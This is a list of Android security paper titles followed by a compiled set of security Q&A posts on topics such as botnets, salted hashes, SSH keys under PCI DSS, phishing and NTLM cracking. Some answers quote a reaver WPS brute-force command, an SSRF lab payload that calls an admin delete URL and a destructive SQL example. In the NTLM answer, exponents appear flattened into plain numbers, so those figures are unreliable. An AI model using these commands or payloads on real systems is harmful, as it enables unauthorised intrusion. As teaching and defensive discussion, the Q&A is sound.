A Study of Android Permissions and How Applications Use Them
All Your Droid Are Belong To Us: A Survey of Current Android Attacks
An Android Security Case Study with Bauhaus
Analyzing and Dissecting Android Applications for Security defects and Vulnerabilities
Analyzing Inter-Application Communication in Android
Android application security, the fun details
Android Browser Cross-Application Scripting
Attacks on WebView in the Android System
Enhancing Security of Linux-based Android Devices
Exploratory Android Surgery Paper
Exploratory Android Surgery Slides
Fuzzing the Phone in your Phone Paper
Fuzzing the Phone in your Phone Slides
How smart is your android smartphone?
Paranoid Android: Zero-Day Protection for Smartphones Using the Cloud
Penetration Testing Android Applications
Penetration Testing of Android-based Smartphones
Policy Oriented Secure Content Handling in Android
Privilege Escalation Attacks on Android
Securely deploying Android devices
Security Issues in Android Custom ROMs
Systematic Detection of Capability Leaks in Stock Android Smartphones
Taming the Robot: Sandboxing Android
TEAM JOCH vs. Android
The Quest for Security against Privilege Escalation Attacks on Android
These aren't the permissions you're looking for
Towards Taming Privilege-Escalation Attacks on Android
VMM Based Rootkit Detection on Android
Yet Another Android Rootkit


What is the typical computer setup and hosting arrangement of malicious bots? It's quite well known that if an attacker wanted to, they could spoof their IP address by using a proxy server or some other means.

Whilst that's possible, whenever I perform a geo-location lookup on the IP addresses that conduct automated brute force attacks, probing, port scanning etc. against my servers, almost always the IP addresses do resolve to countries associated with cyber crime, like:

China
USA
Russia
Turkey
Italy
etc.

Knowing that the Internet is very independent of geography, for example it's possible to sign up with server hosts anywhere in the world and in fact it would be desirable - from an attackers point of view - that their IP was not associated with a country with a bad reputation.

Also, because servers are sometimes added to a botnet when compromised, I always assumed remote servers were the preferred "weapon of choice" for attackers.
However, I'm now wondering - are the people conducting this activity forced to use local ISP's in countries with more lax laws and that don't crack down on malicious activity (I'm assuming they can't get access to all the big name reputable providers - because their accounts would be shut down quite quicky)?

And does this also then mean that they generally have to supply their own machines? I know there are lots of ways to setup a computer and connect to the Internet - but what is the typical setup for these automated bots regarding whether they are remote rented servers or local physical machines and how do they get Internet access?

The ideal automated bot is somebody else's machine that you have compromised because their security wasn't good enough.  You can then control that machine remotely, preferably via some channel that doesn't trace easily back to you (IRC used to be popular).


Authentication in RestAPI I want to implement a security mechanism by which i can secure my RestApi from the "Clients who are not what they claim to be". In my case the consumer of API for now is another web service not browser.
I have read numerous articles on securing a restApi all they say is to use Bearer tokens,Auth0, JWT.
Usually all these technique share a encrypted token/Key whatever it may be , only on login request, On subsequent requests , they will pass the same token in the headers. How can i validate a client if i don't have any login request.

Just give them the token manually. Whether it is JWT, a public/private key pair, shared secret or anything else, you can just give it to all the servers ahead of time manually. I remember once hard-coding the shared secret in PHP code, not that I would recommend that. Still, you should just have a secret, ideally a HMAC key in a file on the requesting server. Then use it to authenticate your request, for example by using JWTs with HMAC.


Is altering time on a server a risk? What is the risk of altering time in a system via an NTP exploit or any other mean in a network?

Could it be a step to a higher severity risk and how exactly can it be exploited?

If the server checks certificates (of connected clients, or of other servers that it connects to), changing the time will disrupt these checks. Changing to a time when the accepted certificates are not valid will cause denials of service. Changing to an earlier time allows expired certificates to be accepted, and these certificate may have been compromised or may use weak cryptography that is now breakable.

Incorrect times on file timestamps, logs and anywhere else a time is recorded can make intrusion detection and later forensics harder. This is a concern when the attacker would otherwise only have limited access. For example an attacker who can gain user-level access but not root access to a unix system can fake files' modification time, but not their inode change time.


Clarification on an email about a security breach I got the following email from a forum I was subscribed to:

  It is our duty to inform you that there has been a security breach on
  the server that Doom10 was being hosted on. It doesn't seem like the
  person(s) doing the breach were after private information (mostly just
  spam added to the pages that were shown to Google's crawlers), but as
  always, one should always expect the worst. They had file system
  access, thus it was possible to gain access to the database containing
  user information (user name/hashed password/e-mail).

  Passwords were/are hashed and salted in the database, but we still
  urge that those who have reused their password change it on the other
  services; and if you wish to keep using the Doom10 forum, that you
  change it locally as well.

  You can find more information on the intrusion at:
  http://doom10.org/index.php?topic=2333.0

  We are highly sorry for any trouble that you might experience because
  of this.

  Regards, The Doom10 Forum: Digital Video Discussion Team.

I do use different passwords on different sites, so I'm not really worried, but just curious about why a potential attacker having access to hashed and salted password is considered a security risk?  I don't think the actual password could be recovered, and wouldn't the attacker need to find a hash collision to actually exploit the information?

What a salt does is it renders rainbow tables useless, which does slow down bruteforce attempts on the password.

Definition of rainbow table:

  A rainbow table is a precomputed table for reversing cryptographic
  hash functions, usually for cracking password hashes.

Without a salt, an attacker could easily use a pre-generated rainbow table containing millions of passwords and their hashed equivalent and compare it against the password.

With a salt, every password requires the attacker to generate an entirely new rainbow table.

It has no impact on dictionary attacks - easy, obvious dictionary based passwords like password will be cracked easily with or without the salt. Brute forcing the password will also eventually recover the password.

Password cracking is all about time/effort. No password/hash is invincible. It is all about forcing the attacker to spend more time than he is willing to spend on your password tables.

If there is a potential compromise on the site, you might want to consider changing passwords.


How does a hashing function always return the same length hash? I've been looking into what hashing functions are, what they do, &c. I was just wondering: how does a hashing function always return the same length hash?

How does hashing work? does not explain why hashes for a certain algorithm return the same length every time.

Most cryptographic hash functions operate on a fixed-size internal state and process the message to be hashed block by block, where a block is a number of bits. MD5, SHA-1 and SHA-2 follow the Merkle-Damgård construction which operates as follows:

Let S be an array of N bits, initialized to a predefined value. N is the size of the internal state and may be different from the final size of the hash.
Update the state based on each message block successively. More precisely, for each message block Mi, set S := C(Mi, S). The function C is known as the compression function; it takes a K-bit block and an N-bit state value and produces a new N-bit state value.
For the last few bits of input, which may not form a complete block (if the length of the message is not a multiple of the block length), apply a padding function to S that takes the length of the message into account (the Merkle-Damgård construction requires a specific padding method which I am not describing here).
Return F(S) where F is called the finalization function. F takes an N-bit state as input and returns an n-bit hash.

The compression function is so-called because it takes K + N bits of input and returns only N bits of output. This of course means that there are a lot of collisions: distinct (Mi,S) pairs producing the same resulting state. However, if done right, i.e. if it is computationally infeasable to find collisions for the compression function, then the hash itself is also collision-resistant.

There are non-Merkle-Damgård cryptographic hash functions, for example SHA-3, which uses a sponge construction. The operating method is a little different, but the core principle is the same:

Work with a fixed-size state.
Transform the state based on one message block at a time.
Apply padding to the last block.
Apply a finalization function to the internal state to return the hash value.

Non-cryptographic hashes often rely on arithmetic (but this approach doesn't tend to produce fast cryptographic hash functions). They use modular arithmetic as the compression function to keep the current state to a fixed size.


PCI DSS 2.0 and ssh keys I know the real answer to the auditor.

We are a smaller company under 40 total employees that is also PCI level 1 compliant. We've always used ssh keys on internal servers. You can't ssh in from the outside and have 2 factor auth on the vpn. Our auditor has always been ok with us using ssh keys since he said we are a small company. Since the 2012 audit we've doubled in size and now he wants us to use passwords to ssh in via something like LDAP.

As a sys admin I hate having to ssh in and enter a password all the time. Is there anything I can go back and tell him that using ssh keys is just as secure?

SSH keys are OK regardless on your company size.

Let's get deeper in the PCI DSS (extracted from the version 3.0, but also in 2.0) :

8.2 In addition to assigning a unique ID, ensure proper user-authentication management for non-consumer users and administrators on all system components by employing at least one of the following methods to authenticate all users:
*Something you know, such as a password or passphrase
*Something you have, such as a token device or smart card
*Something you are, such as a biometric.

"at least" : one of the 3 options above is OK.

Official guidance about "something you have" :

 Note that a digital certificate is a valid option for “something you have” as long as it is unique for a particular user.

Conclusion :

SSH keys are compliant as long as each SysAdmin have its own keys pair.

In must add that best practices (and so PCI DSS req 2) will require to protect private key with a strong passphrase.


How do web hosts know you own your domain? Let's say I registered a domain on Namecheap and want DigitalOcean to be my host. This can be achieved by first setting the nameservers to DigitalOcean in Namecheap's backend:

Second, we add some NS records in DigitalOcean's interface:

My question: assuming an attacker knows I've set my nameservers to DigitalOcean, what's to stop them from adding my domain to their DigitalOcean account, thus directing users to their servers instead of mine? That is, how does DigitalOcean know that I own my domain, and not someone else?

Note: I've seen this question, but I don't think the accepted answer full addresses how an attacker who know's I've set my nameservers to DO would be thwarted.

This question, and this exact scenario, actually came up on Serverfault a few months ago.  See https://serverfault.com/questions/744147/can-someone-using-the-same-dns-server-as-me-hijack-my-domains


Google DNS in Firewall logs I was viewing my firewall logs and come across the IP 8.8.8.8. Further check reveals it  belongs to Google DNS. And such traffic has been going out from some of our LAN segment PCs. From here on, how should I determine whether it's legal traffic? I do not have any SIEM product installed yet. The next best thing is to physically go to each PC affect and check? On the other hand, would using some version of a web browser cause this?

Most likely either another administrator or some of your users have set their computers to use Google's DNS service (located at IP addresses 8.8.8.8 and 8.8.4.4). It's probably nothing to worry about. If your firewall has packet capture capabilities, you can try running a capture and then opening the capture file in Wireshark to inspect the traffic and make sure it's actually DNS and that the queries are not for malware domains. If none of your firewalls/routers can do packet captures it may be easiest to physically go to the computers and look at the DNS settings or ask your users if they've changed them.


Examples of in-band signalling hacks? In-band signalling or the mixing of control and metadata on the same channel is what allowed the early phone phreakers to obtain free calls on telecommunications systems. By sending control tones through telephone receivers where only user data was expected they were able to connect free of charge etc. I was wondering if people knew of other examples of hacks or errors that have been a result of mixing control data and metadata in the same channel?, if anyone knew of examples affecting other systems say traffic cameras or radio controls?.

This example has circulated on the internet for some years and is theoretical/ humorous but I was wondering has there been any successful injection attacks using camera input ?

You should definitively restrict the range of your question and update the title accordingly. I'm answering here to your last question "has there been any successful injection attacks using camera input ?".

Yes, I think you can say so. I'm particularly referring to a vulnerability which affected Google glasses.

The Google glass would detect and handle automatically some type of QR codes, so some people had the idea to print specially crafted QR codes (exactly same principle as your SQL injection car plate, but here with a QR code instead of a literal string) which will automatically trigger this functionality in the Google glass and allow the attacker to take control of the Google glass internal system (accessing data, etc.).

No user notification nor interaction, all that is needed is for the malicious QR Code to be seen by the Google glass camera.


Camellia and ECDHE_ECDSA -ECDSA in TLS1.2 I am setting up a server using nginx. I have it working with a self signed ecc certificate and if I connect it reports ECDHE-ECDSA which is what I wanted. But I was also wondering if I could use Camellia with this.

RFC 4492 specifies the ECC extensions.
RFC 5932 - specifies the Camellia Cipher Suites for TLS

but I can see no intersection between the two? Am I missing something or is this not possible?

The cipher suites you're looking for are defined in RFC 6367, as listed in the TLS Cipher Suite Registry. (To find them on the Registry page, scroll down to "0xC0,0x72" or "RFC6367".)

However, you have another problem: OpenSSL doesn't support them. If you really want to use them, you'll have to find a reverse proxy/SSL terminator/web server -- and client! -- that uses something like GnuTLS or PolarSSL.

(I hope someone will add support for modern Camellia cipher suites to OpenSSL, just because I think Camellia is neat, but I'm afraid that someone won't be me.)

By the way, if you meant ephemeral elliptic curve Diffie-Hellman, you meant "ECDHE-ECDSA". "ECDH-ECDSA" is actually a different thing -- also defined for Camellia in the above RFC -- which isn't ephemeral, and which people mostly never use.

In August 2014, support for the eight HMAC-based cipher suites from RFC 6367 was committed to OpenSSL. The GCM suites weren't added, but Camellia is now usable with ECC -- if you run OpenSSL from git, anyway. I don't know what release it will be in. (For all I know, the commit might be reverted tomorrow! In any case, it's progress.)


Could a spoken (TTS) SMS-based 2FA be intercepted? In mid-June, Lastpass made news again, and I've since been mowing around the idea of two-factor authentication. After familiarizing myself with SMS and Google Authenticator, I thought the SMS was a little more user friendly. Although not as widespread or as secure as the latter, surely it's better than a single password..?

Anyways, I had been poking around inside Tasker (automation app), when I suddenly got an idea. Would using text-to-speech on an SMS-based 2FA (have it read aloud) be a bad idea? Would it be any less secure than unlocking the phone and reading the message? Considering permissions/malware/etc, I feel like it could be intercepted if it wanted to be, but I am not educated on the schematics to know any better. I would like to know if this would be a viable option, or would it just be too unsafe?

I think the answer depends on what you are trying to protect against. It certainly is the case that having the message read aloud somewhat reduces the secureness of the SMS messages as 2FA. This means that someone could obtain your phone and use it as a 2FA for Lastpass without needing to unlock your phone.

But if you are concerned about generalized network attacks against LP, similar to the recent mid-June one, I don't see how having the auth code spoken aloud decreases security.

Any 2FA mechanism offered by LP will, in most cases, be more secure than only using single factor authentication. So even spoken SMS messages will help in most cases.

PS: One thing to keep in mind, SMS messages are not encrypted end-to-end. Certainly your mobile provider can read your SMS messages. It is possible other apps on your phone can as well. Apps like PushBullet can be used to replicate SMS messages to a computer (and likely PushBullet's servers), further increasing the chance of them being viewed by an attacker. See this answer for more on SMS security for 2FA.


Embed Private Key Inside Agent We are owing a domain with wildcard certificate (*.mycompany.com). Now we have an application running as an agent on the customer machine. The browser is communicating with the agent by sending websocket requests. Now, we are moving to WebSocket Secure (WSS). Since browser communicates with the agent by sending wss requests to the agent, so we can call the agent a web server. In order to make sure the wss request is not tempered, the agent need to validate the certificate. For validation agent need our wildcard certificate's private key which we cannot share. Now, we are purchasing a specific sub domain certificate from a CA say newdomain.mycompany.com and will embed the private key newdomain.company.com inside the agent. Now I am thinking some malicious user might misuse our new subdomain (newdomain.mycompany.com ). What is best way to mitigate this issue.
Note: I am developer not security person.

Security-wise, assume that any cryptographic keys you put in your client binary can and will get reverse-engineered and end up on pastebin.com.
The first question is what authentication goal you are trying to accomplish; ie is each instance of your agent tied to a single user account on your service, or are you just trying to ensure that only your agents can connect to your service (ie some kind of DRM)?
If your goal is either to tie an agent to a user account, or just to protect traffic between the browser and the agent, then I would design a "registration protocol" that registers a unique public key with the server for each copy of the agent. Such a registration protocol might look like this:

During install of the agent, have the agent reach out to an enrollment endpoint on the server (possibly having the user logs in to their account (username / password / MFA) if that makes sense)
The agent creates a new keypair and certificate signing request (CSR) locally
The agent sends the CSR up to the service and the service signs and returns a client certificate.

This would require you to run your own private CA and configure your server to accept client certs from that CA. A bit tricky but not as bad as you might think. If and when this gets reverse-engineered then the attacker has only compromised their own copy of the agent and all other instances of your agent remain secure. Note that this model will strongly protect against man-in-the-middle traffic interception attacks and against reverse-engineering, but will not prevent someone from writing their own agent code and registering it.
If your goal is DRM (ie ensuring that the client is an authentic copy of your app), then something like what you've described is kinda your only option: embed a private key in the agent that's common to all agents. Be aware that this is a difficult problem to solve; if and when this gets reverse-engineered, attackers will have fully compromised your DRM key. So you will need to obfuscate the key to make it difficult to reverse-engineer. This is a cat&mouse game with obfuscation techniques needing to constantly evolve to stay ahead of reverse-engineering techniques, so you'll likely need to purchase a commercial obfuscation tool and have a plan to update your obfuscation algorithm and rotate your client key periodically (both for new and existing copies of the agent) to force attackers to start over with the reverse-engineering effort.


Finding my iPhone - Conned through SMS and website I lost my iPhone 6 phone on Tuesday night at a club. I was registered on iCloud.com so on next morning I saw the phone was offline and showed the last known location. However the 24 hours rule meant thereafter the phone did not show the last location. I had the phone lock and had given another number for the user to call me thinking if sold someone will see the message. The thief was very clever and sent an SMS that came as an INFO SMS stating my phone is tracked in the city and login with a URL www.findmyiphone.usrs0.com/
I not thinking immediately clicked and tried to login, the website that opened on my spare phone browser was similar looking with the same color like the icloud.com website. Only later did I realized it was a fake site and the purposes was for me to enter the Apple ID and password and then when I logged in I found my phone was deleted from my original iCloud.

My question is, how to track this person from the website and SMS received?

Indeed an unfortunate situation for you and I'm going to save myself the teacher's voice, I guess you learned phishing the hard way.

The next step greatly depends on the authorities you lost the phone in. First, go to the next police station and report your phone stolen. Tell them the story with as much details as possible (e.g. when did you loose it, when did you last locate the phone, where was the phone last located). Take the phone with the info SMS to the police as well (be prepared to leave it there). The message will show the time stamp that is crucial to revert the line of communication in your providers network. That actually is the last step, the authorities will have to try and identify the originating number of that SMS. With that information and with the ID of your iPhone it is possible to triangulate either of the devices. To be honest, I expect that the info SMS did not come from any mobile phone, but was sent from a web service offering a free SMS gateway. Therefore the best and probably only shot is the provider to locate the phone in the mobile network cell. However, more bad news it might be possible that your provider does not cooperate in such cases and/or that the police is overloaded with other crimes so that your theft is not urgent. The more time passes, the less likely it is for you to get your phone back. If you happen to have insurance that covers out-of-house theft, you should take the police report to the insurance company and file an insurance report.


Should you use SecureRandom.getInstance() with or without a provider? So, I am new to cryptography and I was learning about SecureRandom and all of the ways it calls implementations with or without providers.

When I looked up some sites for information, it says not to use providers because if the provider is outdated or not available in a system, then the application must be prepared to handle an exception.

However, many say use providers to outrun the risk of choosing a bad implementation like a blocking one.

In the Java docs, I read that when you specify a particular provider even if the framework has higher priority providers that offer the same implementation, it will only go to the mentioned provider to get the implementation. That does not sound appealing though.

So, should you user getInstance() with providers or not? Which is better?

This is a question inherently about trust of a cryptographic API, and is not really specific to SecureRandom. I will still formulate my answer around SecureRandom as it makes a good illustrative example.

Who do you trust more, the people who wrote the code of the API and documented it, or random comments on the web ? The developers made choices so you do not have to make them, because they have a better understanding of the stakes and issues than the common user of their API. For the sake of flexibility of their API, the developers allowed users to override their implementation decisions. You should do so only if you are sure to know better than them.

SecureRandom tries to use the best source available, usually one provided by the OS. Since you do not have the expertise to make a better choice (otherwise you would not have to ask your question), you should roll with the default, and handle exceptions appropriately (for example by refusing to provide an insecure service).


Transparent way to send logs from honeypot to logging server Does anyone know of a secure and transparent method of sending logs from a honeypot server on a DMZ to a logging server in a private network?.
The logs must be encrypted and sent in such a way that a potential attacker would not be able to sniff the communication.
I have tried sending my logs to a valid yet unused IP in my address space and then forward the logs to the private lan via a promisc interface and IPTables.
The problem with this solution is that it only works with UDP which is not encrypted and traffic to my logging server can still be sent and sniffed.
Can anyone propose a better method?
Someone told me to use a TAP device to send the information onto a separate bridge but I was unable to understand the logic.

If honeypot is a virtual machine, you could write the logs to the host - tricky, but I've done it.

I have also simply used a second nic on the honeypot connected to a management network. Assuming that your hackers cannot see that level of access in the OS, they would never see the communications, and you have a lot of power over the firewall and routing rules to add safety.


What are the best practices for hardening a php.ini file? In order to secure a PHP installation, what are the best settings for a php.ini file? What is absolutely vital in terms of security? What is recommended for most use cases?

I find a good step for hardening your php.ini file is to use the PHPSecInfo tool, this tool will outline what settings you have currently in your php.ini that may cause a security risk.
In addition to using that tool give this article on Hardening PHP from php.ini a look its good and picks up most of the major concerns.

Personally the two main things I always make sure are configured correctly are:

display_errors - On a production server this should be turned Off and the errors should be logged to a file.
group_id - This is set to an appropriate value for a low privileged user e.g. www-data not root.


does the --nack command do what I think it does in reaver and why won't it work? I have a problem with reaver. I try the --nack command

reaver -i mon0 -b 00:01:02:03:04:05 -vv --nack --mac=00:BA:AD:BE:EF:6

for example. And I assume it will try a different PIN, even if it doesn't receive a negative acknowledgment but it tries the same PIN every time. In an hour I come back and its still trying PIN 12345670. So I stop the command because its been trying that for an hour. Is that really what the --nack command is supposed to do? How to make it try a different PIN, regardless of what response it gets from my router?

From some reaver documentation, which I found here:

  Some poor WPS implementations will drop a connection on the floor when an invalid pin is supplied instead of responding with a NACK message as the specs dictate. To account for this, if an M5/M7 timeout is reached, it is treated the same as a NACK by default. However, if it is known that the target AP sends NACKS (most do), this feature can be disabled to ensure better reliability. This option is largely useless as Reaver will auto-detect if an AP properly responds with NACKs or not:

  reaver -i mon0 -b 00:01:02:03:04:05 --nack

So regarding your problem:

  The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number.

Is it possible that you simply have a really really slow AP?
Or do you get any other error messages/logs?


OpenVPN Tap vs Tun Mode I would like to know practical difference between TAP and TUN mode when use with OpenVPN.

When to use TAP and When to use TUN ?

What types of traffic will pass with both mode ?

TAP is basically at Ethernet level (layer 2) and acts like a switch where as TUN works at network level (layer 3) and routes packets on the VPN. TAP is bridging whereas TUN is routing.

From the OpenVPN Wiki:

  TAP benefits:

  behaves like a real network adapter (except it is a virtual network    adapter)
  can transport any network protocols (IPv4, IPv6, Netalk, IPX, etc,    etc)
  Works in layer 2, meaning Ethernet frames are passed over the VPN    tunnel
  Can be used in bridges

  TAP drawbacks:

  causes much more broadcast overhead on the VPN tunnel
  adds the overhead of Ethernet headers on all packets transported over    the VPN tunnel
  scales poorly

  TUN benefits:

  A lower traffic overhead, transports only traffic which is destined    for the VPN client
  Transports only layer 3 IP packets

  TUN drawbacks:

  Broadcast traffic is not normally transported
  Can only transport IPv4 (OpenVPN 2.3 adds IPv6)
  Cannot be used in bridges


Why does Portswigger's solution to the lab "SSRF with whitelist-based input filter" work? The URL with the exercise is: https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

The solution is:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

A little simplified (no port specified):
http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos

We can concentrate simply on:
http://localhost%2523@stock.weliketoshop.net

Why is the credential component (everything before the @) processed as if everything after the @ is part of a URL fragment? Before double encoding the # character, the URL looks like this:
http://localhost#@stock.weliketoshop.net

Why is the @ even necessary, even after we double encode the #? Why does http://localhost%2523stock.weliketoshop.net (not no '@') not work? Does the url fragment statement take priority over the credential statement? Why is the @ ignored in favor of the #?

As per the RFC 3986:-

  The userinfo subcomponent may consist of a user name and, optionally,
     scheme-specific information about how to gain authorization to access
     the resource.  The user information, if present, is followed by a
     commercial at-sign ("@") that delimits it from the host.

RFC3986 section-3.2.1


Request permission to PenTest on GoDaddy servers I have recently been asked by a customer to perform a pentest against a web application hosted on a GoDaddy server. Because the server is not physically owned by my customer I'm aware that I need to request permission from GoDaddy in order to proceed.

Other services like AWS and Heroku have online forms to request such authorization -- yet I can't find any information from GoDaddy.

Has anyone ever done this? I can't seem to easily find any information from GoDaddy about who can grant me that permission.

After calling technical support, a representative told me (paraphrasing)

  "It depends on the hosting plan. Any shared hosting plan you will not
  be allowed to test. Period. But if they're on a dedicated hosting plan
  you can do anything and you don't need to tell us."

I pressed further for some sort of documentation stating that (so I'd have some legal coverage), and I was told that it's "buried" in the Terms of Service, specifically "somewhere related to the section on hosting" (this document?).

TL;DR GoDaddy doesn't seem to care what you do with their dedicated servers; you're just renting hardware. But they're very clear on the fact they don't want you touching any shared hosting boxes.


what are the best security certifications for beginners with no experience in IT I want to make a career change from administration to IT but I have absolutely no experience and no certifications in IT. I am interested in information security and networking. So what certifications do I need to begin with?

A+
Build your own machines. Seriously. Do it so you can do the next step.

Network+
Build your own subnetted home network with a domain controller and a two-way transitive trust between your home and your friend's home. That'll get you started.

Security+
Harden the expletive out of what you just built in the last step and then break it yourself! =D

In all seriousness though, you really do have a lot of things to learn and to accomplish. I too am relatively new to IT Security, and I have a long journey ahead of me. You'll want to learn how to use some variant of Linux if you haven't already, and a few programming/scripting languages, like java, php, ruby, C++ etc. It's a huge body of knowledge, and eventually you'll find where you want to settle.


Private messages for an ios app - how secure is this system? I'm designing architecture for sending private messages (i.e. only sender and receiver are able to read a message).

Client side - iOS, server side - Parse.com

I'm thinking of using RSA to encrypt/decrypt messages as follows:

iOS app generates a private/public key pair for each user.
Private key is stored locally in iOS Keychain
Public key is stored on the server.
When a user initiates a new conversation, it fetches recipient's public key from the server, encrypts his message with it and sends it to the server.
Recipient then fetches the message and decrypts it with his private key from his Keychain

My goal is that no one except the participants of the conversation is able to read the messages. Will this system ensure that?

On the side note, would you recommend any iOS libraries for RSA encryption/decryption?

Your scheme isn't very secure.

Someone could mount a MITM attack by intercepting the public key and replacing it by its own. After that, he would be free to relay and re-encrypt all messages without anyone being the wiser.

You need to have some authentication component included in your key exchange so that you can guarantee the ownership of the public key you're using.


Database connection from front end I want to know why calling a database from the front end is considered a bad practice for security.

It is really so bad as to justify building an application layer with all its drawbacks: costs, performance, development time?

I'm a little unclear on what you mean by "front end" but if you are talking about somehow firing database commands directly from the client side of a web application this would be very bad.

Any client side javascript you have can be easily modified or circumvented entirely, meaning that any command you execute from the client side could be modified to do whatever a malicious user wants.  For example they could change your command from: SELECT * FROM Products to DELETE Products

In addition to that, it is a bad idea to have your database server accessible from the internet.  Typically you want to have a web server that is accessible from the internet and then your database server would be available to the web server.


How to recover account with an old phone number? Over the last few years many online portals, email and social networks have linked user accounts with mobile numbers that can be used for account recovery, this way was pretty cool and secure as well.

In many cases when someone move to new country they will lose access to their old mobile number and will not remember change the linked phone number until they need to recover the account, but at this stage that will be too late as they will no longer have access to the account.

My question is, in this scenario how is possible to recover the account when you have no access to the phone number and there is no other recover mechanism such as a linked email?

In this kind of case, contacting the support of the company would be the only option left.
A support staff will be able to escalate it to support engineers that will manually reset your account for you, or update your mobile phone number to the present one so you can complete the recovery steps.


What are the security issues of having all services (web, smtp, dns) on a single machine? I'm wondering what are the drawbacks, from a security point of view, of having more than one service (let's say the web server, the mail server and the DNS server) on the same machine, rather than having those services split on more machines?

We can also assume I have a backup DNS and mail server, so if the machine goes down, I can switch to the backup services.

EDIT:

What are the pros and cons of having these services on different machines?
Are the advantages of the second solution (services split) whorthwhile for spending more money and time (properly configuring those machines) on splitting those services on different machines?

Other then the amount of resources all these services on one machine will take up, you will need to worry the most about one of them being compromised.

In this situation, when one service is compromised they all are. Any attack on one of them is an attack on all of them.

If you have no other choice and have to have all of them on the same machine, make sure to harden the machine correctly (user restriction, different password and usernames for each service, limit what your services talk to and so on...).

  We can also assume I have a backup DNS and mail server, so if the machine goes down, I can switch to the backup services.

That's nice but do you really want to get to that point? And what if it was an exploit that can be used also on this version of your machine/service? But do make sure to always have a backup, just don't use it as an excuse for weak security.


what is more secure, to have PPPoE on the modem or on the firewall We are trying to understand what a more secure installation is:
a) A modem connected to the internet with PPPoE doing a NAT to the firewall than doing a second NAT for all the devices

b) A modem acting like a bridge and the firewall doing the PPPoE?

I guess that more layers could be beneficial for security because malicious connection will get filtered by the modem and the firewall and they would be 2 NAT to go through. But on the other hand the modems are usually vulnerable and not up-to-date devices...

Simply on a security point of view what is the most secure?

I think the question you are really asking here is if the two devices can be used to provide effective layers of security.  Yes they can but the degree of security will depend on the configuration and capabilities of each device.

I recently took a SANS course in which the instructor suggested having a router in front of a firewall doing basic packet filtering.  Basically the router drops everything except those ports you define (80,443,etc).  It's then up to the firewall to examine the packets that make it past the router.  In your case it would be the modem doing the packet filtering in front of your firewall.

The thinking behind this configuration is that it reduces the overall load on the firewall by cutting the number of packets that is examines with only a negligible increase of load on the router.  Packet filtering is a less expensive operation than stateful packet inspection.  It also has the advantage of reducing the noise in your firewall logs.

Of course it does depend on the capabilities of your hardware. I would run some tests with this configuration before committing to it.


How do I need to secure my Windows Shares? I am working on an Domain Controller / File Server on Windows Server 2012.

Lets say that I am from a school and that I have 3 OU's (or security groups)

Students
Staff
IT

When I create a shared directory, where teachers can share some files with students. I always set the permissions to:

Share Permissions:

Everyone - Full Control

NTFS Permissions:

Student - Read & Execute / Read
Staff - Modify / Read & Execute  / Read / Write
IT - Full Control

I always do this, because of the "windows least privilege management"

Questions:

For example, when I use the shares on a computer without Windows, are they also secured by the NTFS permission?
Why are there two locations to change permissions and which location do I need to change?

Q: non-Windows computer

A: When you are connecting to shares on a Windows server, you are still secured by the combined share and NTFS permissions.  The reason for this is that even a non-Windows system must use a compatible client protocol to connect and use these shares, therefore it does not bypass share and NTFS security.

Q: Why share and NTFS permissions are both needed

A: NTFS permissions secure the file system, whether the user is local or remote.  Share permissions specify what remote access is granted.  File shares use both technologies because they share resources on the file system for a remote user.  Your scenario is an overlap of both security mechanisms.  There are cases where you don't use both, like accessing files locally or sharing things other than the file system, like printers.  Though printers also have permissions similar to NTFS permissions.


Windows 7 Password Hash Security I recently came across a number of sources that suggest that cracking Windows user account passwords is easy by examining their password hashes.

I understand that these hashes are stored in the SAM file in two formats: LM and NTLM.  LM is unsecure (and since Vista, a meaningful one isn't stored, right?).  However, NTLM is also cryptographically weak, and can also be broken disturbingly quickly.

In any case, even with what I would consider "strong" passwords, I have seen them cracked in a matter of a few minutes--simply by rebooting the computer into Linux from a flash drive, and then running a program that extracts passwords from the hashes.  This seems to me to be a huge vulnerability.

About the only thing I was able to find online about preventing this was to use a longer password, so as to guarantee that the weaker LM hash isn't meaningful--but NTLM is still weak.

Anyone know how to protect against these sort of attacks?

In all of this answer, I am considering the problem of recovering the password (or an equivalent password) from a purloined hash, as stored in a server on which the attacker could gain read access.

The NTLM hash is weak, but not as weak as the older LM hash.

The older LM hash includes several capital weaknesses:

Not case-sensitive.
Limited to 14 characters.
Splits the password in two 7-character halves which are hashed separately.

This last weakness allows for very efficient cracking (regardless of the care taken in choosing the password); see this answer for a some details.

The less-old NTLM is just MD4 computed over the password. This time, the password is case sensitive, and can be quite long. There is some dispute as to the real maximum password length which could apparently be up to 127 characters or so. Since MD4 is computed over UTF-16 encoding of the password, the whole range of Unicode could theoretically be used, but since the user needs to type the password regularly (and without visual feedback), using characters beyond the printable ASCII set is looking for trouble.

What is weak in NTLM hash is that it is unsalted, and that MD4 is fast (MD4 is also cryptographically broken in several ways, but not for raw preimage resistance as is used for password hashing; for that, MD4 is as robust as it ever was). MD4 is actually faster than MD5. A recent GPU will compute several billions of MD4 instances per second. This makes it easy for the attacker to explore vast sets of potential passwords (what is known as a dictionary attack). The only defense is to choose your passwords from an even vaster set.

Let's throw some maths at it: since NTLM is unsalted, a dedicated group of attacker might find it worthwhile to build a big rainbow table. There are various possible optimizations, but, as a rule, things would go like this:

There is a security parameter, called t; that's the average length of a chain in the rainbow table.
If the set of passwords covered by the table has size N, then the storage requirements are about 10*N/t bytes (10 bytes per sorted chain end is a reasonable estimate).
Building the table entails a cost of about 1.7*N hash function invocations.
Attacking one password with the table entails computing about t2 times the hash function, and making t lookups in the table.

If the table is split over a hundred mechanical hard disks, then about 10000 lookups can be done per second. If the attacker is really motivated, he might wish to spend one hour or so per password, which means a maximum t of 3600000 for the lookups (let's say 222); the corresponding CPU cost is down to about 232 hashes per second, which is feasible with a couple recent GPU. The hundred disks allow for 300 TB storage (I am talking about 3 TB disk, which are off-the-shelf today), which brings the possible N to about 267. That's rather huge, but technologically feasible. Our group of attackers could buy a hundred GPU (and a big air conditioning unit) and be done with computing that table within a few months.

So, in order to defeat our motivated adversaries, we need to choose passwords at random from a set bigger than their N. If our set of possible passwords has size more than 277 and our passwords are chosen randomly and uniformly in that set (i.e. the password entropy is 77 bits or more), then the attacker has only 1/1000 chance of cracking a given password with his table. This ought to be sufficient to dissuade him.

